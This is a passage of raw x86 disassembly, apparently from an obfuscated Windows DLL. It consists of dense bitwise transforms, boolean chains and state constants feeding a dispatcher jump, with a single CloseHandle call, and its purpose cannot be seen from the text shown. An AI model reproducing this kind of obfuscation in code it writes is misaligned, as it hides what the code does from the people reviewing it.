mov edi, ecx
and ecx, 0xf4451a08
and eax, 0xbbae5f7
or eax, ecx
mov ecx, esi
xor ecx, 0xac5c8dbd
xor esi, 0x53a37242
mov dword [ebp - 0x18], esi
and esi, 0x672d19f5
xor eax, 0x522acd47
or eax, edi
mov dword [ebp - 0x2c], eax
mov eax, ecx
xor eax, edi
and eax, ecx
mov dword [ebp - 0x30], eax
and edi, ecx
mov dword [ebp - 0x34], edi
mov eax, ecx
and eax, 0x98d2e60a
or eax, esi
mov esi, dword [ebp - 0x24]
and esi, 0x140db4e7
mov ecx, edx
and ecx, 0xebf24b18
or ecx, esi
mov edi, ecx
xor edi, 0xebf24b18
xor ecx, 0x14043024
and ecx, 0xb4d6303c
mov edx, edi
and edx, 0x4b29cfc3
or edx, ecx
xor edx, 0x12b9e773
and edi, 0xa66fd74f
or edi, edx
xor eax, 0xc142ceba
or eax, dword [ebp - 0x18]
mov ecx, eax
not ecx
mov edx, ecx
xor edx, edi
and edx, ecx
and eax, 0x59042702
and ecx, 0xa6fbd8fd
or ecx, eax
xor ecx, edi
mov esi, edx
not esi
mov eax, esi
and eax, 0x836f458f
and edx, 0x7c90ba70
or edx, eax
mov eax, ecx
xor eax, 0xa6fbd8fd
xor ecx, 0x59042702
or esi, ecx
and ecx, 0x836f458f
and eax, 0x7c90ba70
or eax, ecx
xor eax, edx
not esi
or esi, eax
mov edi, dword [ebp - 0x2c]
mov eax, edi
not eax
mov edx, dword [ebp - 0x20]
or edx, 0xa66fd74f
mov ecx, eax
xor ecx, edx
and ecx, eax
and edi, 0x43c6fa1c
and eax, 0xbc3905e3
or eax, edi
and edx, 0x43c6fa1c
and ebx, 0x181000a0
or ebx, edx
xor ebx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x65eede7b
and ecx, 0x9a112184
or ecx, edx
mov edx, ebx
not edx
or eax, edx
and edx, 0x65eede7b
and ebx, 0x9a112184
or ebx, edx
xor ebx, ecx
not eax
or eax, ebx
mov edi, eax
not edi
mov dword [ebp - 0x20], edi
and edi, 0x3212b06
mov ecx, eax
and ecx, 0x40424098
or ecx, edi
mov ebx, esi
not ebx
mov edx, esi
xor edx, 0x43636b9e
and edx, esi
or esi, 0xbc9c9461
mov edi, esi
and edi, 0x7ace70c8
and ebx, 0x1210b16
or ebx, edi
mov edi, edx
not edi
or esi, edi
and edi, 0x7ace70c8
and edx, 0x85318f37
or edx, edi
xor edx, ebx
not esi
or esi, edx
mov edx, ecx
xor edx, 0x40020010
xor ecx, 0x24080601
and ecx, 0x24484689
and edx, 0x43232916
or edx, ecx
mov ecx, dword [ebp - 0x20]
or ecx, 0x404288
and ecx, 0x24484689
and eax, 0x98949060
or eax, ecx
xor eax, edx
xor eax, esi
mov ecx, dword [ebp - 0x18]
and ecx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x34]
or esi, ecx
mov edi, dword [ebp - 0x30]
mov edx, edi
not edx
mov ecx, edx
and ecx, 0xffc7f1ac
and edi, 0x380e53
or edi, ecx
mov ecx, esi
not ecx
or edx, ecx
and ecx, 0xffc7f1ac
and esi, 0x380e53
or esi, ecx
xor esi, edi
not edx
or edx, esi
mov ecx, edx
not ecx
mov esi, edx
and esi, 0x214a052a
mov edi, ecx
and ecx, 0xdeb5fad5
or ecx, esi
and edi, edx
mov esi, edi
not esi
or edx, esi
and esi, 0x214a052a
and edi, 0xdeb5fad5
or edi, esi
xor edi, ecx
not edx
or edx, edi
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x22fd4b2f
and edx, 0xdd02b4d0
or edx, esi
xor edx, 0xdd02b4d0
or edx, ecx
mov ecx, eax
not ecx
mov esi, eax
xor esi, 0x349c517f
and esi, ecx
mov edi, eax
and edi, 0xcb63ae80
or edi, esi
mov ebx, edx
not ebx
mov esi, edx
and esi, 0x349c517f
mov dword [ebp - 0x18], esi
mov esi, edx
xor esi, 0xcb63ae80
and esi, ebx
or esi, dword [ebp - 0x18]
xor esi, edi
mov edi, eax
and edi, 0x40f7cb32
and ecx, 0xbf0834cd
or ecx, edi
or eax, ebx
and ebx, 0x40f7cb32
and edx, 0xbf0834cd
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x2bd918dd
and esi, 0xd426e722
or esi, edx
mov edx, eax
not edx
or ecx, eax
and eax, 0x2bd918dd
and edx, 0xd426e722
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0x544808a8
mov esi, ecx
and esi, 0x8113
or esi, eax
xor esi, 0x8113
mov eax, edx
and eax, ecx
or eax, esi
mov esi, edx
and esi, 0x686f3eaa
and ecx, 0x9790c155
or ecx, esi
xor ecx, 0x3c27b711
xor edx, ecx
and edx, ecx
mov ecx, eax
not ecx
or ecx, 0xabb77644
mov edi, ecx
not edi
and ecx, 0xe258e65e
xor eax, 0x14008832
and eax, edi
and edi, 0x140009a1
or edi, ecx
mov esi, edi
xor esi, 0x2108612
or esi, 0xe9ce61cd
mov dword [ebp - 0x18], edi
xor edi, 0x14010800
mov ebx, esi
and ebx, 0x29c400b7
and edi, 0x14118c00
or edi, ebx
mov ebx, eax
not ebx
or esi, ebx
and ebx, 0x2be412b7
and eax, 0x54088908
or eax, ebx
xor eax, edi
not esi
or esi, eax
mov edi, edx
xor edi, 0x16319e32
mov ebx, edi
and edi, edx
mov ecx, edx
not ecx
and ebx, ecx
mov eax, ebx
not eax
mov edx, eax
and edx, 0x3ef8601a
and ebx, 0xc1079fe5
or ebx, edx
mov edx, edi
not edx
or eax, edx
and edx, 0x3ef8601a
and edi, 0xc1079fe5
or edi, edx
xor edi, ebx
not eax
or eax, edi
xor eax, esi
mov edx, dword [ebp - 0x18]
xor edx, 0x140009a1
or ecx, edx
not ecx
and ecx, 0x544889bb
or ecx, eax
mov dword [ebp - 0x18], ecx
mov esi, dword [ebp - 0x1c]
mov eax, esi
and eax, 0x50cef975
mov edi, dword [ebp - 0x14]
mov ecx, edi
and ecx, 0xaf31068a
or ecx, eax
mov eax, edi
and eax, esi
mov edx, eax
not edx
mov ebx, esi
or ebx, edx
and edx, 0x50cef975
and eax, 0xaf31068a
or eax, edx
xor eax, ecx
not ebx
or ebx, eax
mov dword [ebp - 0x24], ebx
mov eax, ebx
not eax
mov dword [ebp - 0x20], eax
and eax, 0x10880950
mov edx, ebx
and edx, 0xb341620
or edx, eax
mov eax, edi
and eax, 0x1bbc1f70
mov ecx, esi
and ecx, 0xe443e08f
or ecx, eax
mov eax, edi
xor eax, ecx
and eax, ecx
mov ecx, eax
mov edi, eax
mov dword [ebp - 0x14], eax
not ecx
mov dword [ebp - 0x1c], ecx
mov esi, eax
xor esi, 0x9c575b5a
mov eax, esi
and eax, ecx
and esi, edi
or esi, eax
mov edi, edx
xor edi, 0xb341620
lea ecx, [edi - 0x1bbc1f71]
mov dword [ebp - 0x28], ecx
mov eax, ecx
xor eax, 0x63a8a4a5
and eax, ecx
mov ecx, eax
not ecx
mov ebx, ecx
and ebx, 0x621c1d34
and eax, 0x99e10242
or eax, ebx
or edi, 0xfc57fbdf
xor edx, 0x800000
or ecx, edi
and edi, 0x661e5d3c
and edx, 0x1a00000
or edx, edi
xor edx, eax
not ecx
or ecx, edx
mov edi, esi
xor edi, esi
not edi
and edi, ecx
xor edi, esi
mov edx, dword [ebp - 0x28]
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x3000b30
and edx, 0xd8fd944f
or edx, ecx
mov esi, edx
mov ecx, dword [ebp - 0x14]
or eax, ecx
and ecx, 0x27026bb0
mov edx, ecx
mov ecx, dword [ebp - 0x1c]
and ecx, 0xd8fd944f
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov esi, edi
not esi
mov ecx, esi
and ecx, 0x79d71933
and edi, 0x8628e6cc
or edi, ecx
xor edi, eax
or esi, eax
xor edi, 0x8628e6cc
not esi
or esi, edi
mov eax, esi
not eax
mov ecx, esi
or ecx, 0x40426bc2
and ecx, 0x444a6bc2
mov edx, eax
and eax, 0xb830142d
or eax, ecx
or edx, 0x4080000
and edx, 0x444a6bc2
and esi, 0x3858010
or esi, edx
xor esi, eax
mov edx, dword [ebp - 0x20]
mov edi, edx
and edi, 0x906daf58
mov ecx, dword [ebp - 0x24]
mov eax, ecx
xor eax, 0x906daf58
and eax, ecx
or edi, eax
not eax
and eax, 0x6f9250a6
and edi, 0x906daf59
or edi, eax
and ecx, 0xb6ca1db3
mov eax, edx
and eax, 0x4935e24c
or eax, ecx
xor eax, 0xb6ca1db2
and edx, 1
or edx, eax
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0xe1e90ef8
and edi, 0x1e16f107
or edi, eax
xor edi, edx
xor edi, 0x1e16f107
or ecx, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
mov eax, edx
and eax, 0xea853c82
and edx, ecx
and ecx, 0x157ac37d
or ecx, eax
mov eax, esi
xor eax, 0x80040a04
xor ecx, 0x157ac37d
or ecx, edx
xor esi, 0x587bf4a3
mov edx, esi
and esi, 0x37b865d9
and eax, 0xc8479a26
or eax, esi
mov esi, ecx
not esi
or edx, esi
not edx
and esi, 0x37b865d9
and ecx, 0xc8479a26
or ecx, esi
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x120061
mov edx, eax
or edx, 0x1616488
and esi, 0x17364e9
and eax, 0xe6800100
or eax, esi
and edx, 0x17364e9
and ecx, 0x180c9a16
or ecx, edx
xor ecx, eax
mov eax, ecx
xor eax, 0x181e9a77
xor ecx, 0xc4e12580
and eax, 0x3314582b
and ecx, 0xcceba7d4
or ecx, eax
mov eax, ecx
xor eax, 0x4c4324c0
xor ecx, 0x32041800
and ecx, 0xb2ac9b14
and eax, 0x4d5364eb
or eax, ecx
mov esi, eax
xor esi, 0xb2ac9b14
mov edx, eax
xor edx, 0x4d5364eb
mov ecx, edx
xor eax, 0xa5946b71
and eax, edx
and edx, 0x2d60169c
mov edi, esi
and edi, 0xd29fe963
or edi, edx
or ecx, 0x1738f065
mov edx, ecx
and edx, 0xe2031f52
xor edi, 0xd29fe963
or edi, esi
and esi, 0x8c40088
or esi, edx
mov edx, eax
not edx
or ecx, edx
and edx, 0xe2031f52
and eax, 0x1dfce0ad
or eax, edx
xor eax, esi
not ecx
or ecx, eax
xor ecx, 0xe8c70f9a
not edi
or edi, ecx
mov eax, edi
not eax
mov ebx, dword [ebp - 0x18]
mov edx, ebx
not edx
mov ecx, edi
and ecx, edx
mov esi, ebx
and esi, eax
or esi, ecx
mov ecx, esi
xor ecx, edx
and ecx, esi
and edx, 0x802e1118
mov esi, ebx
and esi, 0xa800000
or esi, edx
xor esi, 0xa800000
and ebx, 0x7551eee7
or ebx, esi
and edi, 0x88821100
mov edx, eax
and edx, 0x22c0018
or edx, edi
xor edx, 0x22c0018
and eax, 0x7551eee7
or eax, edx
xor eax, ebx
mov esi, ecx
not esi
mov edx, eax
not edx
and eax, esi
or esi, edx
and edx, ecx
or edx, eax
mov edi, edx
not edi
mov eax, edi
and eax, 0xfeaadfeb
and edx, 0x1552014
or edx, eax
xor edx, esi
xor edx, 0x1552014
or edi, esi
not edi
or edi, edx
mov ecx, edi
not ecx
mov eax, ecx
mov ebx, ecx
mov dword [ebp - 0x18], ecx
and eax, 0x20505081
mov esi, edi
and esi, 0x88060848
or esi, eax
mov eax, esi
xor eax, 0x8060048
xor esi, 0x77f9f7b7
mov ecx, esi
and ecx, 0xc340dc84
and eax, 0x28160049
or eax, ecx
mov ecx, edi
xor ecx, 0xa85658c9
and ecx, edi
mov dword [ebp - 0x1c], edi
mov edx, ecx
not edx
or esi, edx
and edx, 0xc340dc84
and ecx, 0x3cbf237b
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov ecx, ebx
and ecx, 0x2cbf8e14
mov eax, edi
and eax, 0xd34071eb
or eax, ecx
mov ecx, eax
xor ecx, 0xd34071eb
xor eax, 0x28130c10
and eax, 0xfb137cd3
mov edx, ecx
and edx, 0x4ec832c
or edx, eax
xor edx, 0xd959efd8
and ecx, 0x224a930b
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xe226070d
mov eax, edx
and eax, 0x1dd9f8f2
or eax, ecx
mov edi, esi
xor edi, 0x20421009
or edi, 0xddb56cf4
mov ecx, edi
not ecx
mov ebx, edi
and ebx, 0x216e070b
xor esi, 0x22428009
and esi, ecx
or esi, ebx
mov ebx, eax
xor ebx, 0x1dd9f8f2
mov dword [ebp - 0x14], ebx
and dword [ebp - 0x14], 0x217e470b
and edx, 0xde81b8f4
add edx, dword [ebp - 0x14]
xor edx, esi
mov esi, ecx
and esi, 0x2042120a
and edi, 0x43bde941
or edi, esi
xor eax, 0xe226070d
or ecx, eax
and eax, 0xbc4216be
and ebx, 0x43bde941
or ebx, eax
xor ebx, edi
not ecx
or ecx, ebx
mov eax, edx
xor eax, 0x104000
xor edx, 0xffefbfff
mov esi, edx
and esi, 0xeee53698
and eax, 0x111ac967
or eax, esi
xor eax, ecx
xor eax, 0x111ac967
or edx, ecx
not edx
or edx, eax
mov esi, edx
xor esi, 0xddb56cf4
xor edx, 0x224a930b
mov eax, edx
and eax, 0xef83a4b
mov ecx, esi
and ecx, 0xf107c5b4
or ecx, eax
mov eax, ecx
xor eax, 0x81040410
xor ecx, 0xb00a42
or ecx, 0x3a43d109
and ecx, 0x3af3dbcb
and eax, 0x81042410
or eax, ecx
or edx, 0xb00ac2
and edx, 0x3af3dbcb
and esi, 0x44080024
or esi, edx
xor esi, eax
mov eax, esi
xor eax, 0x7e4bd12d
xor esi, 0x81340c92
and esi, 0xeb35dd92
and eax, 0x14ca226d
or eax, esi
mov ecx, eax
xor ecx, 0x83150000
xor eax, 0x104a0245
and eax, 0x786adfd7
and ecx, 0x87952028
or ecx, eax
mov ebx, ecx
mov edi, dword [ebp - 0x1c]
mov eax, edi
xor eax, 0x4ac805c7
and eax, edi
or edi, 0xb537fa38
mov ecx, edi
and ecx, 0x26ba46d0
mov edx, dword [ebp - 0x18]
and edx, 0x48400107
or edx, ecx
mov ecx, eax
not ecx
or edi, ecx
and ecx, 0x26ba46d0
and eax, 0xd945b92f
or eax, ecx
xor eax, edx
not edi
or edi, eax
mov eax, edi
xor eax, 0xb537fa38
mov ecx, edi
xor ecx, 0x480001c6
and ecx, 0x681259e6
xor edi, 0x42900252
and edi, eax
mov esi, eax
and esi, 0x97eda619
or esi, ecx
mov eax, esi
xor eax, 0x97eda619
mov ecx, esi
xor ecx, 0x9fb5a18c
and ecx, eax
or edi, ecx
mov ecx, edi
xor ecx, 0x8580795
xor esi, 0x401201c0
and esi, 0xd1fe87d0
and eax, 0x2e01782f
or eax, esi
xor edi, 0xf7a7f86a
mov esi, edi
and esi, 0x96655d24
and ecx, 0x699aa2db
or ecx, esi
mov esi, eax
xor esi, 0x2800200b
xor eax, 0xd1fe87d0
or edi, eax
and eax, 0x96655d24
and esi, 0x699aa2db
or esi, eax
mov edx, ebx
xor edx, 0x87952028
xor esi, ecx
not edi
or edi, esi
mov ecx, edi
not ecx
and edi, 0xc8100645
and ecx, 0x37eff9ba
or ecx, edi
mov eax, ecx
xor eax, 0x88100040
xor ecx, 0x20cec818
and ecx, 0x60cece1d
and eax, 0x9f3131e2
or eax, ecx
mov ecx, eax
xor ecx, 0x8a2030c0
xor eax, 0x200ecc15
and eax, 0x351fcd37
and ecx, 0xcae032c8
or ecx, eax
mov eax, ecx
xor eax, 0x34070805
xor ecx, 0xc8c030c8
and ecx, 0xc9d8f5fa
and eax, 0x36270a05
or eax, ecx
mov edi, eax
xor edi, 0x36270a05
xor eax, 0xc9d8f5fa
xor ebx, 0x786adfd7
mov dword [ebp - 0x14], ebx
mov ecx, eax
and ecx, ebx
mov esi, edx
and esi, edi
or esi, ecx
mov ebx, esi
xor ebx, dword [ebp - 0x14]
and ebx, esi
and eax, 0x42000c14
mov ecx, edi
and ecx, 0x802d323
or ecx, eax
xor ecx, 0x802d323
and edi, 0xb5fd20c8
or edi, ecx
mov eax, edx
or eax, 0x11fc2048
and eax, 0x5bfe3a6b
mov esi, dword [ebp - 0x14]
mov ecx, esi
and esi, 0xc514
or esi, eax
or ecx, 0x4a021a23
and ecx, 0x5bfe3a6b
and edx, 0xa4010080
or edx, ecx
xor edx, esi
mov eax, edi
xor eax, edi
not eax
and eax, edx
xor eax, edi
mov edi, ebx
not edi
mov edx, eax
not edx
mov ecx, edi
or ecx, edx
not ecx
and edi, 0x89feca36
and ebx, 0x760135c9
or ebx, edi
and edx, 0x89feca36
and eax, 0x760135c9
or eax, edx
xor eax, ebx
or eax, ecx
mov edx, eax
not edx
mov dword [ebp - 0x14], edx
and edx, 0xd5f10c0b
mov ecx, eax
and ecx, 0x2a0ef3f4
or ecx, edx
mov esi, ecx
xor esi, 0x6a304
xor ecx, 0x84e1000b
and ecx, 0xaee950fb
and esi, 0x5116af04
or esi, ecx
mov ecx, esi
xor ecx, 0x5116af04
mov ebx, esi
xor ebx, 0xaee950fb
xor esi, 0x1496e285
and esi, ecx
mov edi, ecx
and ecx, 0x1a071412
mov edx, ebx
and edx, 0xe5f8ebed
or edx, ecx
or edi, 0xba7fb27e
mov ecx, edi
and ecx, 0x54403599
xor edx, 0xe5f8ebed
or edx, ebx
and ebx, 0x1804800
or ebx, ecx
mov ecx, esi
not ecx
or edi, ecx
and ecx, 0x54403599
and esi, 0xabbfca66
or esi, ecx
xor esi, ebx
not edi
or edi, esi
xor edi, 0x45804d81
not edx
or edx, edi
mov ecx, dword [ebp - 0x14]
and ecx, 0x8dbbba2d
and eax, 0x724445d2
or eax, ecx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0xcc80d06
mov ebx, edx
and ebx, 0x50012080
or ebx, esi
xor ebx, 0x50012080
mov edi, edx
and edi, 0xa336d279
or edi, ebx
mov ebx, eax
xor ebx, 0x8dbbba2d
mov esi, eax
xor eax, 0x2e8d6854
and eax, ebx
xor esi, 0x22044050
and esi, 0xa336d279
or esi, eax
xor esi, edi
mov eax, esi
not eax
mov edi, esi
and edi, 0xe2e5c655
and eax, 0x1d1a39aa
or eax, edi
or esi, edx
and edx, 0xe2e5c655
and ecx, 0x1d1a39aa
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
xor esi, 0xffffffff
sete byte [ebp - 0x18]
setne ch
cmp dword [0x10045904], 0xa
setge ah
setl al
xor ah, al
and ah, ah
xor ah, al
mov al, ah
xor al, 1
mov byte [ebp - 0x14], al
mov ebx, eax
and bl, ah
mov edx, ebx
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov dh, dl
xor dh, 1
or dh, al
mov bh, dh
xor bh, 1
mov al, bh
xor al, ah
or bh, ah
xor bh, 1
or bh, al
and al, ah
or dh, ah
xor dh, 1
or dh, al
mov al, dh
and dh, bh
xor bh, 1
xor al, 1
mov cl, bh
xor cl, al
and cl, bh
and al, bh
or al, dh
or al, cl
mov dh, al
xor dh, 1
and dh, al
xor dh, 1
mov cl, al
xor cl, dh
or dh, al
xor dh, 1
or dh, cl
mov al, dh
xor al, 1
and al, dh
xor al, 1
mov cl, al
xor cl, dh
or al, dh
xor al, 1
or al, cl
mov dh, al
xor dh, 1
mov bh, dh
or bh, ch
xor dh, ch
or dh, al
mov al, dh
xor al, 1
mov cl, al
and cl, bh
xor bh, 1
and dh, bh
or dh, cl
mov cl, bh
xor cl, al
or bh, al
xor bh, 1
or bh, cl
xor dh, 1
mov al, dh
xor al, bh
or dh, bh
xor dh, 1
or dh, al
or dl, bl
mov bl, ch
mov al, byte [ebp - 0x14]
and bl, al
xor al, ch
mov byte [ebp - 0x14], al
xor ch, dl
mov al, ch
and al, dl
xor al, 1
mov bh, byte [ebp - 0x18]
or dl, bh
or al, ch
xor al, 1
or al, dl
mov ch, al
xor ch, 1
and ch, al
xor ch, 1
mov cl, al
xor cl, ch
or ch, al
xor ch, 1
or ch, cl
mov al, ah
and al, bh
or bl, al
xor bl, 1
or bl, bh
or ah, bh
mov dl, bl
xor dl, bl
xor ah, 1
or ah, byte [ebp - 0x14]
xor dl, 1
and dl, ah
xor dl, bl
or ah, bl
xor dl, 1
mov al, dl
xor al, ah
or dl, ah
xor dl, 1
or dl, al
mov cl, ch
xor cl, 1
mov eax, edx
xor al, 1
and al, ch
and cl, dl
or cl, al
mov al, ch
or al, dl
xor al, 1
xor dl, ch
or dl, al
mov ch, cl
xor ch, 1
mov ah, cl
and ah, ch
xor ah, 1
mov al, ah
xor al, ch
or ah, ch
xor ah, 1
or ah, al
xor ah, dl
xor ch, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ch
mov al, ah
xor al, dl
or dl, ah
xor dl, 1
or dl, al
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
xor al, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov dl, al
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov ah, dl
xor ah, 1
mov ecx, edx
and cl, ah
xor cl, 1
mov al, cl
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov al, dl
and al, cl
xor cl, 1
and ah, cl
or ah, al
or cl, dl
xor cl, 1
or cl, ah
mov dl, cl
xor dl, 1
mov ah, dl
or ah, dh
xor dl, dh
xor dh, 1
or cl, dh
mov al, cl
xor al, ah
or cl, ah
xor cl, 1
or cl, al
xor cl, 1
or cl, dh
mov ah, cl
xor ah, 1
mov al, dl
xor al, 1
mov ch, al
and ch, cl
and ah, dl
or ah, ch
xor ah, 1
or ah, cl
xor al, cl
and al, dl
or dl, cl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
mov ch, dl
mov cl, ah
xor dl, ah
xor ah, 1
and ch, ah
and cl, al
or cl, ch
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x4990dc39
mov esi, 0x637c90ba
cmovne eax, esi
test cl, 1
cmove eax, esi
test dl, 1
mov ecx, 0x4990dc39
cmove eax, ecx
jmp 0x1000f9b0
mov eax, dword [ebp - 0x3c]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x48]
mov dword [eax], 1
mov eax, 0x27190ee1
jmp 0x1000f9b0
mov eax, 0x31303c23
jmp 0x1000f9b0
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov eax, dword [0x10045900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
and esi, 0xdafeba37
mov ecx, eax
and ecx, 0x250145c8
or ecx, esi
mov esi, ecx
xor esi, 0xdafeba37
xor ecx, 0x250145c8
mov edi, ecx
and edi, esi
and ecx, 0x7204a89c
and esi, 0x8dfb5763
or esi, ecx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0xca372e16
and edi, 0x35c8d1e9
or edi, ebx
mov ebx, esi
xor ebx, 0x30008088
xor esi, 0x8dfb5763
or ecx, esi
and esi, 0xca372e16
and ebx, 0x35c8d1e9
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov esi, ecx
not esi
mov edi, ecx
and edi, esi
and ecx, 0xb8bf59f9
and esi, 0x4740a606
or esi, ecx
mov ecx, edi
not ecx
mov ebx, ecx
and ebx, 0xe91e4ab0
and edi, 0x16e1b54f
or edi, ebx
mov ebx, esi
xor ebx, 0x640a406
xor esi, 0xb8bf59f9
or ecx, esi
and esi, 0xe91e4ab0
and ebx, 0x16e1b54f
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov esi, ecx
not esi
and ecx, 0xb5fd157f
and esi, 0x4a02ea80
or esi, ecx
mov ecx, eax
and ecx, edx
mov edi, edx
and edi, 0xce0303fa
and eax, 0x31fcfc05
or eax, edi
mov edi, ecx
not edi
or edx, edi
and edi, 0xce0303fa
and ecx, 0x31fcfc05
or ecx, edi
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
mov ecx, edx
xor ecx, 0x459ea4ab
and eax, ecx
mov edi, eax
not edi
mov ebx, edi
and ebx, 0xed2174e9
and eax, 0x12de8b16
or eax, ebx
and ecx, edx
mov ebx, ecx
not ebx
or edi, ebx
and ebx, 0xed2174e9
and ecx, 0x12de8b16
or ecx, ebx
xor ecx, eax
not edi
or edi, ecx
xor edi, 0xba615b54
or edi, edx
mov eax, edi
not eax
mov ecx, eax
and ecx, edi
mov edx, edi
and edx, 0xc7aba9e5
and eax, 0x3854561a
or eax, edx
mov edx, ecx
not edx
or edi, edx
and edx, 0xc7aba9e5
and ecx, 0x3854561a
or ecx, edx
mov edx, esi
xor edx, 0xb5fd157f
xor esi, 0x4a02ea80
xor ecx, eax
not edi
or edi, ecx
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0x8d3f32b7
and edi, 0x72c0cd48
or edi, eax
xor edi, 0x72c0cd48
or edi, ecx
mov eax, edx
and eax, esi
mov ebx, edx
and ebx, 0x93828f51
mov ecx, esi
and esi, 0x6c7d70ae
or esi, ebx
not esi
or esi, edx
mov dword [ebp - 0x24], esi
and edx, 0xd1673a66
and ecx, 0x2e98c599
or ecx, edx
mov edx, ecx
xor edx, 0x22080590
xor ecx, 0xd1673a66
mov ebx, ecx
and ebx, 0xcc96ca6d
and edx, 0x33693592
or edx, ebx
mov ebx, eax
not ebx
or ecx, ebx
and ebx, 0xcc96ca6d
and eax, 0x33693592
or eax, ebx
xor eax, edx
mov edx, edi
not edx
not ecx
or ecx, eax
mov dword [ebp - 0x18], ecx
mov eax, edx
and eax, 0x500501ea
mov ebx, edi
and ebx, 0xaffafe15
or ebx, eax
mov eax, edi
and eax, edx
mov ecx, eax
not ecx
mov esi, edx
or esi, ecx
and ecx, 0x500501ea
and eax, 0xaffafe15
or eax, ecx
xor eax, ebx
not esi
or esi, eax
mov dword [ebp - 0x20], esi
mov ebx, esi
not ebx
mov eax, esi
and eax, 0x5a33e3ea
mov ecx, ebx
mov dword [ebp - 0x1c], ebx
and ecx, 0xa5cc1c15
or ecx, eax
xor ecx, 0x364e9344
and ebx, 0x6c7d70ae
or ebx, ecx
and edx, 0x44b7fc6a
mov eax, edi
and eax, 0xbb480395
or eax, edx
xor eax, 0xd735733b
and edi, 0x93828f51
or edi, eax
mov edx, dword [ebp - 0x18]
mov eax, edx
not eax
mov dword [ebp - 0x14], eax
or eax, 0x6c7d70ae
mov ecx, eax
and eax, 0xa1834616
and edx, 0x12008941
or edx, eax
mov eax, dword [ebp - 0x24]
or ecx, eax
xor edx, eax
not ecx
xor edx, 0x5e7cb9e9
or edx, ecx
mov eax, edi
not eax
and eax, ebx
not ebx
mov ecx, ebx
xor ecx, edi
and ecx, ebx
and edi, ebx
or edi, eax
or edi, ecx
mov esi, edi
not esi
mov eax, edi
or eax, 0x532ada38
and eax, 0x776bde3e
mov ecx, esi
and esi, 0x88902000
or esi, eax
or ecx, 0x24410406
and ecx, 0x776bde3e
and edi, 0x401c1
or edi, ecx
xor edi, esi
xor edx, 0xacd12406
mov esi, edi
xor esi, edi
not esi
and esi, edx
xor esi, edi
mov ecx, dword [ebp - 0x20]
mov edx, ecx
xor edx, 0xb1e767cc
and edx, ecx
mov eax, dword [ebp - 0x1c]
and eax, 0x1da8f3c1
and ecx, 0xe2570c3e
or ecx, eax
mov eax, ecx
xor eax, 0xe2570c3e
xor ecx, 0xac4f940d
and ecx, eax
or edx, ecx
mov ebx, dword [ebp - 0x18]
mov ecx, ebx
or ecx, 0x8180001
and ecx, 0xb99b6105
mov edi, dword [ebp - 0x14]
and edi, 0x6406c8
or edi, ecx
mov ecx, dword [ebp - 0x14]
or eax, ecx
or ecx, 0xb1836104
and ecx, 0xb99b6105
and ebx, 0x46009832
or ebx, ecx
xor ebx, edi
mov ecx, edx
xor ecx, edx
not ecx
and ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x17a8dded
and ecx, eax
and eax, 0xe8572212
or eax, edx
xor eax, 0xe8572212
or eax, ecx
mov ecx, esi
not ecx
mov edx, eax
not edx
mov edi, ecx
and edi, 0xe239e9f3
and esi, 0x1dc6160c
or esi, edi
or ecx, edx
and edx, 0xe239e9f3
and eax, 0x1dc6160c
or eax, edx
xor eax, esi
mov esi, eax
not esi
mov edx, esi
and edx, 0xd299fd65
and eax, 0x2d66029a
or eax, edx
xor eax, ecx
xor eax, 0x2d66029a
or esi, ecx
not esi
or esi, eax
mov ecx, esi
mov edx, esi
mov eax, esi
not eax
or ecx, 0x34c08001
mov edi, eax
and edi, 0x8022598a
and ecx, 0x3cc8a455
or ecx, edi
mov edi, eax
mov ebx, eax
mov dword [ebp - 0x1c], eax
and edi, 0x4f2a8f79
and edx, 0xb0d57086
or edx, edi
mov eax, ecx
xor eax, 0x2040
xor ecx, 0xc3375baa
mov edi, ecx
and ecx, 0x5e5fdfbf
and eax, 0x80202040
or eax, ecx
xor edx, 0x38ff0d58
or edx, ebx
or edi, edx
not edi
xor eax, edx
xor eax, 0xa1a02040
or eax, edi
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x82a4d4c
and edx, 0xb3bcd4c
mov edi, ecx
and ecx, 0x74c40221
or ecx, edx
or edi, 0x3118000
and edi, 0xb3bcd4c
and eax, 0x80003092
or eax, edi
xor eax, ecx
mov edx, eax
not edx
mov dword [ebp - 0x20], edx
and edx, 0x10001084
mov ecx, eax
mov dword [ebp - 0x18], eax
and ecx, 0x4002009
or ecx, edx
mov edx, ecx
xor edx, 0x4002001
xor ecx, 0xfbffdff6
mov edi, ecx
and edi, 0xfa8c8518
and edx, 0x4003085
or edx, edi
mov edi, eax
xor edi, 0x1400308d
and edi, eax
mov ebx, edi
not ebx
